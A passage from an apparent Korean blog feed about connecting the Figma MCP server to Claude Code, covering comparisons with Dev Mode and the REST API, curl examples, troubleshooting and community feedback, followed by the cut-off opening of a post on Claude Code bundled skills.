&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;Figma MCP&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;Figma Dev Mode&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;코드 생성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;AI가 컨텍스트를 읽고 실제 코드 생성&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;수치 확인 후 개발자가 직접 코딩&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;기존 코드 통합&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;코드베이스와 연동해 기존 컴포넌트 재사용 가능&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;독립적인 코드 스니펫만 제공&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;워크플로우&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Claude Code 안에서 전체 구현까지 완결&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Figma 앱 &amp;harr; 에디터 왔다갔다 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;반복 작업&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&quot;수정된 디자인 반영해줘&quot;로 즉시 업데이트&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;변경사항마다 수동으로 수치 재확인 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;플랜 요구사항&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;원격 서버: 모든 플랜 (무료 포함, 단 월 6회 제한)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Dev 또는 Full 시트 (유료)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Figma MCP와 Dev Mode는 대체 관계가 아니다&lt;/b&gt;&lt;br /&gt;Dev Mode는 정확한 수치 확인, 레이어 검색, Handoff 주석 확인 등에 여전히 유용하다. Figma MCP는 &quot;AI가 디자인을 읽고 코드를 생성하는&quot; 자동화 워크플로우에서 진가를 발휘한다. 둘을 함께 사용하면 더 효율적이다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Figma REST API 직접 사용&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP 없이 Figma REST API를 직접 호출해서 디자인 정보를 가져오는 것도 가능하다. 자동화 스크립트나 CI/CD 파이프라인에서 유용하다. (출처: &lt;a href=&quot;https://www.figma.com/developers/api&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Figma REST API 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# Figma REST API로 파일 정보 가져오기 (Personal Access Token 사용)&lt;/div&gt;
&lt;pre class=&quot;livescript&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 파일 전체 정보 조회
curl -H &quot;X-Figma-Token: YOUR_PERSONAL_ACCESS_TOKEN&quot; \
  &quot;https://api.figma.com/v1/files/FILE_KEY&quot;

# 특정 노드만 조회
curl -H &quot;X-Figma-Token: YOUR_PERSONAL_ACCESS_TOKEN&quot; \
  &quot;https://api.figma.com/v1/files/FILE_KEY/nodes?ids=1:234,1:567&quot;

# 이미지(PNG/SVG) 내보내기
curl -H &quot;X-Figma-Token: YOUR_PERSONAL_ACCESS_TOKEN&quot; \
  &quot;https://api.figma.com/v1/images/FILE_KEY?ids=1:234&amp;amp;format=svg&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;REST API vs MCP 인증 방식 차이&lt;/b&gt;&lt;br /&gt;Figma REST API는 &lt;b&gt;Personal Access Token(PAT)&lt;/b&gt;을 사용한다. 반면 Figma MCP 원격 서버는 &lt;b&gt;OAuth&lt;/b&gt;만 지원한다. PAT는 Figma 계정 설정에서 발급할 수 있으며, 서버 사이드 자동화에 적합하다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;세 가지 방법 종합 비교&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;방법&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;특징&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;인증&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;추천 상황&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;Figma MCP&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;자연어로 디자인 분석 및 코드 변환, AI 코딩 보조&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;OAuth&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Claude Code와 연동한 AI 코딩 워크플로우&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;Figma REST API&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;완전한 프로그래밍 제어, 모든 파일 데이터 접근&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;PAT&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;자동화 스크립트, CI/CD, 디자인 토큰 동기화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;Figma Dev Mode&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;브라우저에서 즉시 수치 확인, 코드 스니펫 복사&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Figma 로그인&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;빠른 단발성 수치 확인, 레이어 검색, Handoff&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;!-- 6. 트러블슈팅 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 주의사항 및 트러블슈팅&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;트러블슈팅 1: 인증 오류 (401 Unauthorized)&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제:&lt;/b&gt; Figma MCP 연결 시 401 오류가 발생한다.&lt;br /&gt;&lt;b&gt;원인:&lt;/b&gt; OAuth 인증이 만료되었거나, 초기 인증을 완료하지 않은 경우&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt; Claude Code에서 &lt;code&gt;/mcp&lt;/code&gt;를 입력하고 Figma 항목을 선택해 다시 Authenticate를 진행한다. Figma MCP는 PAT(Personal Access Token) 인증을 지원하지 않으며 OAuth만 사용한다. (출처: &lt;a href=&quot;https://forum.figma.com/ask-the-community-7/support-for-pat-personal-access-token-based-auth-in-figma-remote-mcp-47465&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Figma Forum&lt;/a&gt;)&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;트러블슈팅 2: Tool 호출 한도 초과 (Starter 플랜)&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제:&lt;/b&gt; &quot;Tool call limit exceeded&quot; 오류가 발생한다.&lt;br /&gt;&lt;b&gt;원인:&lt;/b&gt; Figma Starter 플랜 또는 View/Collab 시트는 월 6회 Tool 호출로 제한된다.&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt; 유료 플랜으로 업그레이드하거나, 한 번의 요청에서 최대한 많은 정보를 가져오도록 프롬프트를 최적화한다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;트러블슈팅 3: 응답이 너무 크거나 잘리는 경우&lt;/h3&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제:&lt;/b&gt; &lt;code&gt;get_design_context&lt;/code&gt; 응답이 너무 크거나 잘린다.&lt;br /&gt;&lt;b&gt;원인:&lt;/b&gt; 프레임이 너무 복잡하거나 레이어가 많은 경우&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt; &lt;code&gt;get_metadata&lt;/code&gt;로 고수준 노드 맵을 먼저 가져온 뒤, 필요한 노드만 선택해서 &lt;code&gt;get_design_context&lt;/code&gt;를 다시 호출한다. 또는 특정 서브 노드의 URL이나 ID를 직접 지정해 범위를 좁혀서 요청한다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;주의사항&lt;/h3&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;파일 접근 권한:&lt;/b&gt; Figma MCP는 OAuth로 로그인한 계정의 기존 Figma 권한을 그대로 사용한다. 즉, 내 계정으로 열람 가능한 파일(비공개 파일 포함)은 MCP에서도 접근 가능하다. 반대로 권한이 없는 파일은 접근이 차단된다. 인증 계정 확인은 &lt;code&gt;whoami&lt;/code&gt; Tool로 할 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Code Connect:&lt;/b&gt; &lt;code&gt;get_code_connect_map&lt;/code&gt;이 효과적으로 작동하려면 Figma Code Connect 설정이 필요하다. 설정이 없으면 AI가 기존 컴포넌트를 찾지 못하고 새로 생성할 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;생성 코드 검증:&lt;/b&gt; AI가 생성한 코드는 반드시 검토가 필요하다. 특히 복잡한 인터랙션이나 애니메이션은 정확하지 않을 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;클라이언트 제한:&lt;/b&gt; 2026년 기준 Figma MCP 원격 서버는 지원하는 클라이언트(Claude Code, Cursor, VS Code 등)가 제한적이다. 커스텀 클라이언트에서는 OAuth 스코프 관련 이슈가 있을 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;트러블슈팅 4: &lt;code&gt;generate_figma_design&lt;/code&gt; &amp;mdash; 캡처 스크립트 관련 문제&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제 1: 페이지가 캡처되지 않는다&lt;/b&gt;&lt;br /&gt;&lt;b&gt;원인:&lt;/b&gt; &lt;code&gt;generate_figma_design&lt;/code&gt;은 브라우저에서 캡처 스크립트가 실행되어야 한다. Next.js 프로젝트의 경우 &lt;code&gt;layout.tsx&lt;/code&gt; &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; 안에 Claude가 임시 스크립트 태그를 추가하도록 요청해야 한다.&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt; Claude에게 &quot;캡처 스크립트를 layout.tsx에 추가해줘&quot;라고 명시적으로 요청하거나, Claude가 자동으로 수정 제안을 할 때 승인한다. 캡처 완료 후 반드시 스크립트를 제거한다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제 2: 개발 서버 포트 충돌&lt;/b&gt;&lt;br /&gt;&lt;b&gt;원인:&lt;/b&gt; dev 서버가 이미 다른 포트에서 실행 중인 경우&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt; &lt;code&gt;lsof -i :3000&lt;/code&gt; 또는 &lt;code&gt;lsof -i :3001&lt;/code&gt;로 실행 중인 프로세스를 확인하고, 빈 포트에서 서버를 시작한다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제 3: 캡처 후 스크립트 제거를 잊은 경우&lt;/b&gt;&lt;br /&gt;&lt;b&gt;원인:&lt;/b&gt; 캡처 과정에서 임시로 추가된 스크립트가 프로덕션 빌드에 포함될 수 있다.&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt; 캡처 완료 후 &lt;code&gt;layout.tsx&lt;/code&gt;에서 캡처 스크립트 태그를 즉시 제거한다. Claude에게 &quot;캡처 스크립트 제거해줘&quot;라고 요청하면 자동으로 처리해준다. 배포 전 &lt;code&gt;git diff&lt;/code&gt;로 잔여 스크립트 여부를 확인하는 것을 권장한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 커뮤니티 반응 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 개발자 커뮤니티 반응 (2026년 초 기준)&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 초 기준으로 Figma MCP에 대한 개발자 피드백은 &quot;유용하지만 만능은 아니다&quot;로 요약된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;&lt;b&gt;긍정적 반응&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;디자인 시스템이 잘 갖춰진 팀에서는 초기 개발 시간을 50~70% 단축할 수 있다는 평가가 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&quot;Figma를 완벽하게 읽고 매우 빠르게 작업하는 주니어 개발자&quot;에 비유되며, 반복적인 레이아웃 스캐폴딩에 효과적이라는 의견이 많다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;&lt;b&gt;실무 한계 지적&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;AI 도구 출력의 정확성을 불신하는 개발자(46%)가 신뢰하는 개발자(33%)보다 많다는 조사 결과가 있다. 생성된 코드의 리뷰는 필수라는 점이 강조되고 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Figma MCP의 Rate Limit이 공격적이라는 피드백이 있으며, MCP 서버 주변의 개발자 경험(서버 상태 확인, 실패 원인 파악 등)이 아직 미성숙하다는 의견도 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px; color: #666; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: &lt;a href=&quot;https://research.aimultiple.com/figma-to-code/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AIMultiple - Figma MCP Server Tested 2026&lt;/a&gt;, &lt;a href=&quot;https://vadim.blog/pixel-perfect-playwright-figma-mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Vadim's Blog - Pixel-Perfect UI with Figma MCP&lt;/a&gt;, &lt;a href=&quot;https://blog.logrocket.com/ux-design/design-to-code-with-figma-mcp/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;LogRocket - How to Structure Figma Files for MCP&lt;/a&gt;)&lt;/p&gt;
&lt;!-- 8. 결론 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Figma MCP는 디자인과 코드 사이의 간극을 줄여주는 도구다. 스크린샷을 보여주며 &quot;이렇게 만들어줘&quot;라고 하는 것보다, 실제 디자인 메타데이터를 AI가 직접 읽어서 처리하기 때문에 훨씬 정확한 결과물을 얻을 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;특히 디자인 시스템이 잘 갖춰진 팀이라면 &lt;code&gt;get_code_connect_map&lt;/code&gt;과 &lt;code&gt;get_variable_defs&lt;/code&gt;를 적극 활용하면 기존 컴포넌트를 재사용하면서 일관성 있는 코드를 빠르게 생성할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;이런 분께 추천한다:&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Figma 디자인을 React/Vue 등 코드로 자주 변환해야 하는 프론트엔드 개발자&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;디자이너와의 Handoff 비용을 줄이고 싶은 팀&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;디자인 토큰을 코드베이스에 자동으로 동기화하고 싶은 분&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;픽셀 퍼펙트 구현이 중요한 프로젝트를 진행 중인 개발자&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;코드를 먼저 개발하고 나중에 Figma 자산을 정리하고 싶은 분&lt;/b&gt; &amp;mdash; &lt;code&gt;generate_figma_design&lt;/code&gt;으로 역캡처 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f0fe; border-left: 4px solid #4285f4; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;양방향 워크플로우로 활용하기&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&quot;Figma 없이 개발부터 시작했는데 이제 디자인 문서가 필요하다&quot;는 상황에서도 Figma MCP가 해답이 될 수 있다. &lt;code&gt;generate_figma_design&lt;/code&gt;으로 기존 웹앱을 Figma로 역캡처한 뒤, 해당 Figma 파일을 다시 &lt;code&gt;get_design_context&lt;/code&gt;로 읽어 코드를 개선하는 선순환 구조가 가능하다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Code &amp;rarr; Figma &amp;rarr; Code&lt;/b&gt; 방향으로 프로젝트 전반의 디자인 일관성을 유지할 수 있다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;시작은 간단하다. &lt;code&gt;claude mcp add --scope user --transport http figma https://mcp.figma.com/mcp&lt;/code&gt; 한 줄로 설치하고, Figma 프레임 URL을 Claude에 붙여넣어 보자.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.figma.com/docs/figma-mcp-server/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Figma MCP Server 공식 개발자 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.figma.com/docs/figma-mcp-server/tools-and-prompts/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Figma MCP Tools and prompts 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://help.figma.com/hc/en-us/articles/32132100833559&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Guide to the Figma MCP server &amp;mdash; Figma Help Center&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://help.figma.com/hc/en-us/articles/35281385065751&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Compare Figma's remote and desktop MCP servers &amp;mdash; Figma Help Center&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.builder.io/blog/claude-code-figma-mcp-server&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code + Figma MCP Server &amp;mdash; Builder.io Blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/figma/mcp-server-guide&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;figma/mcp-server-guide GitHub&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/MCP(2026) vs CLI</category>
      <category>AI 디자인 코드 변환 2026</category>
      <category>Claude Figma 연동</category>
      <category>figma mcp</category>
      <category>Figma MCP 설치 방법</category>
      <category>Figma to React 자동화</category>
      <category>Figma 디자인 코드 변환</category>
      <category>Figma 메타데이터 AI 읽기</category>
      <category>mcp.figma.com 설정</category>
      <category>디자이너 개발자 협업 AI</category>
      <category>픽셀 퍼펙트 AI 코드 생성</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/545</guid>
      <comments>https://goddaehee.tistory.com/545#entry545comment</comments>
      <pubDate>Mon, 16 Mar 2026 00:48:24 +0900</pubDate>
    </item>
    <item>
      <title>Claude Code Bundled Skills (/simplify /batch /debug) + /btw 기능 살펴보기</title>
      <link>https://goddaehee.tistory.com/544</link>
      <description>&lt;div
  style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
  &lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span
      style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요!
      갓대희입니다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div
  style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 Claude Code의 &lt;b&gt;Bundle Skills&lt;/b&gt;에 대해 살펴 보려 한다.&lt;/p&gt;
  &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1830&quot; data-origin-height=&quot;1050&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bi34Va/dJMcaaEwkdk/BHlKszC93KoJpTUbAuEAdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bi34Va/dJMcaaEwkdk/BHlKszC93KoJpTUbAuEAdk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bi34Va/dJMcaaEwkdk/BHlKszC93KoJpTUbAuEAdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbi34Va%2FdJMcaaEwkdk%2FBHlKszC93KoJpTUbAuEAdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1830&quot; height=&quot;1050&quot; data-origin-width=&quot;1830&quot; data-origin-height=&quot;1050&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

  &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;2026년 1월 24일(v2.1.0), Claude Code가 기존 커스텀 명령어(Custom Commands) 시스템을 업그레이드한 &lt;span
      style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Skills 시스템&lt;/b&gt;&lt;/span&gt;을 도입했다. 특히 &lt;b&gt;Bundled Skills(내장 스킬)&lt;/b&gt;인 &lt;code&gt;/simplify&lt;/code&gt;,
